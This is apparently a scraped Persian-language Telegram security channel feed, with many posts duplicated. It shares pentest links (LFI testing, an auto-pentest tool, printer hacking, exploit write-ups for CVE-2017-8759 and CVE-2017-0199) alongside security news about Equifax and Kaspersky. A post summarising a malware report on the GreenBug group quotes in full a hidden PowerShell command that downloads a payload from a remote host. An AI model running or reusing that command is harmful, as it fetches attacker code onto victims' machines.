تشریح باگ LFI
Local File inclusion
https://hakin9.org/web-application-penetration-testing-local-file-inclusion-lfi-testing/
#pentest
#web
#hack
#lfi
Local File inclusion
https://hakin9.org/web-application-penetration-testing-local-file-inclusion-lfi-testing/
#pentest
#web
#hack
#lfi
Hakin9 - IT Security Magazine
Web Application Penetration Testing: Local File Inclusion (LFI) Testing
The definitive guide for LFI vulnerability security testing on penetration testing engagements.
Yuki Chan The Auto Pentest
ابزار Yuki Chan برای تست نفوذ بصورت اتوماتیک
قابلیت ها:
Automated
Intel-Gathering
Vulnerability Analysis
Security Auditing
OSINT
Tracking
System Enumeration
Fuzzing
CMS Auditing
SSL Security Auditing
And Off Course This Tool Designed For Targetted Pentesting Too
دانلود:
https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest
#pentest
#web
#osint
#enum
#linux
ابزار Yuki Chan برای تست نفوذ بصورت اتوماتیک
قابلیت ها:
Automated
Intel-Gathering
Vulnerability Analysis
Security Auditing
OSINT
Tracking
System Enumeration
Fuzzing
CMS Auditing
SSL Security Auditing
And Off Course This Tool Designed For Targetted Pentesting Too
دانلود:
https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest
#pentest
#web
#osint
#enum
#linux
توابع خطرناک جاوا اسکریپت
https://blog.blueclosure.com/2017/09/javascript-dangerous-functions-part-1.html
#js
#html
https://blog.blueclosure.com/2017/09/javascript-dangerous-functions-part-1.html
#js
#html
امنیت اطلاعات
دلیل هک شدن equifax!! مسوول امنیت فارغ التحصیل رشته موسیقی هست.
بعد از استعفای برخی مدیران شرکت equifax کاربران در حال شوخی با مدرک مسوول مستعفی امنیت سایت هستن.
(به نظر ایشون مدرک موسیقی از الان دیگه به کار خانم مدیر میاد!)
#fun
(به نظر ایشون مدرک موسیقی از الان دیگه به کار خانم مدیر میاد!)
#fun
امنیت اطلاعات
سه راه برای وارد شدن به دانشگاه هاروارد از نظر جولیان آسانژ (مالک ویکی لیکس): رشوه بده مورد تایید CIA باش (بعد از رد افشاگر CIA،چلسی منینگ برای رفتن به هاروارد) آسیایی نباش!
منابع :
https://twitter.com/wikileaks/status/590203087333232640?lang=en
https://www.nytimes.com/2017/09/15/opinion/chelsea-manning-harvard-michael-morell.html?mcubz=3&_r=0
https://www.unz.com/runz/the-myth-of-american-meritocracy/
https://twitter.com/wikileaks/status/590203087333232640?lang=en
https://www.nytimes.com/2017/09/15/opinion/chelsea-manning-harvard-michael-morell.html?mcubz=3&_r=0
https://www.unz.com/runz/the-myth-of-american-meritocracy/
Twitter
WikiLeaks
How to really get into Harvard: https://t.co/IXUEOBREL9 More https://t.co/BcF6nBAica https://t.co/gmWdO5kQ2k
امنیت اطلاعات
دپارتمان امنیت داخلی امریکا، استفاده از محصولات شرکت روس kaspersky رو برای تمام ادارات دولتی ممنوع اعلام کرد. https://securityaffairs.co/wordpress/63013/intelligence/dhs-kaspersky-lab-ban.html #usa #russia #nsa #kaspersky
به گزارش بی بی سی بعد از اعلام بلومبرگ مبنی بر ارسال ایمیل مدیر اجرایی kaspersky به کارمند سابق این شرکت که در اون در مورد یک پروژه امنیتی که با سرویس امنیتی دولت روسیه در حال اجرا هستند توضیح داده ، دولت امریکا استفاده از تمامی محصولات کسپرسکای رو در ادارات دولتی ممنوع اعلام کرد.
کسپرسکای در حال حاضر بیش از ۴۰۰ میلیون مشتری و کاربر در تمام دنیا داره و بلومبرگ اعلام کرده ابزارهای این شرکت نه تنها در مورد حملات سایبری آدرس اشتباهی میدن بلکه هکرهای شناسایی شده در طی این حملات رو به سرویس امنیتی روسیه (FSB) معرفی میکنن.
اما کسپرسکای معتقده این اطلاعات حقیقت نداشته و این شرکت قربانی درگیری و رقابت سیاسی بین این دو کشور هست.
#news
#usa
#russia
#fsb
#nsa
#cia
#kaspersky
کسپرسکای در حال حاضر بیش از ۴۰۰ میلیون مشتری و کاربر در تمام دنیا داره و بلومبرگ اعلام کرده ابزارهای این شرکت نه تنها در مورد حملات سایبری آدرس اشتباهی میدن بلکه هکرهای شناسایی شده در طی این حملات رو به سرویس امنیتی روسیه (FSB) معرفی میکنن.
اما کسپرسکای معتقده این اطلاعات حقیقت نداشته و این شرکت قربانی درگیری و رقابت سیاسی بین این دو کشور هست.
#news
#usa
#russia
#fsb
#nsa
#cia
#kaspersky
توضیحی در مورد نحوه هک کردن پرینترها
https://0x00sec.org/t/an-introduction-to-printer-exploitation-1/3565
#printer
#network
#nmap
#smb
#shodan
@sec_nerd
https://0x00sec.org/t/an-introduction-to-printer-exploitation-1/3565
#printer
#network
#nmap
#smb
#shodan
@sec_nerd
0x00sec - The Home of the Hacker
An Introduction to Printer Exploitation
> Preface Note: As always the following is just a digest of all the things I could observe by working on printers myself or facts from stuff I read about recently. Since this thread about the HP printer promo videos caught some attention I will try to shed…
پلاگین decoder برای افزایش قابلیت های دکدینگ Burp suite
https://github.com/nccgroup/Decoder-Improved
#burpsuite
#decoder
#jar
@sec_nerd
https://github.com/nccgroup/Decoder-Improved
#burpsuite
#decoder
#jar
@sec_nerd
Exploiting CVE-2017-8759: SOAP WSDL Parser Code Injection
https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/
#xml
#wsdl
@sec_nerd
https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/
#xml
#wsdl
@sec_nerd
MDSec
Exploiting CVE-2017-8759: SOAP WSDL Parser Code Injection - MDSec
Introduction CVE-2017-8759, the vulnerability recently discovered by FireEye as being exploited in the wild is a code injection vulnerability that occurs in the .NET framework when parsing a WSDL using...
امنیت اطلاعات
دیتابیس سایت امریکایی equifax برای فروش در دارکنت قرار داده شده! قیمت : 600 بیت کوین! #news #breach #equifax
حل مسائل فیزیک در لینوکس
https://www.linuxjournal.com/content/solving-physics-problems-linux
#linux
#calculation
@sec_nerd
https://www.linuxjournal.com/content/solving-physics-problems-linux
#linux
#calculation
@sec_nerd
سایت clearsky در گزارشی، توضیحاتی در مورد فعالیت های گروه ایرانی GreenBug ارائه کرد.این گروه از تروجانی به نام ISMAgent برای آلوده کردن سیستمها استفاده میکنند.ابزار مورد استفاده در این حملات از آسیب پذیری آفیس با کد CVE-2017-0199 استفاده کرده که توضیحات بیشتری در مورد این باگ در https://github.com/bhdresh/CVE-2017-0199 به همراه ابزار مورد نیاز موجود هست. این حمله با فراخوانی ظاهری فایلی به اسم template.rtf و اجرای دستور:
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nologo -WindowStyle Hidden $webClient = New-Object https://System.Net .WebClient; $val = $webClient.DownloadString(‘https://a.pomf[.]cat/ntluca.txt ‘); add-content -path ‘C:\Users\USER\AppData\Roaming/srvRep.txt’ -value $val -force
در پشت صحنه فایل ntluca.txt رو که فایل اصلی این حمله هست دانلود و دکد میکنه (base64 digital certificate) .
توضیحات بیشتر :
https://www.clearskysec.com/ismagent/
#iran
#usa
#ksa
#israel
#russia
#malware
#windows
#greenbug
@sec_nerd
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nologo -WindowStyle Hidden $webClient = New-Object https://System.Net .WebClient; $val = $webClient.DownloadString(‘https://a.pomf[.]cat/ntluca.txt ‘); add-content -path ‘C:\Users\USER\AppData\Roaming/srvRep.txt’ -value $val -force
در پشت صحنه فایل ntluca.txt رو که فایل اصلی این حمله هست دانلود و دکد میکنه (base64 digital certificate) .
توضیحات بیشتر :
https://www.clearskysec.com/ismagent/
#iran
#usa
#ksa
#israel
#russia
#malware
#windows
#greenbug
@sec_nerd
GitHub
GitHub - bhdresh/CVE-2017-0199: Exploit toolkit CVE-2017-0199 - v4.0 is a handy python script which provides pentesters and security…
Exploit toolkit CVE-2017-0199 - v4.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. It could generate a maliciou...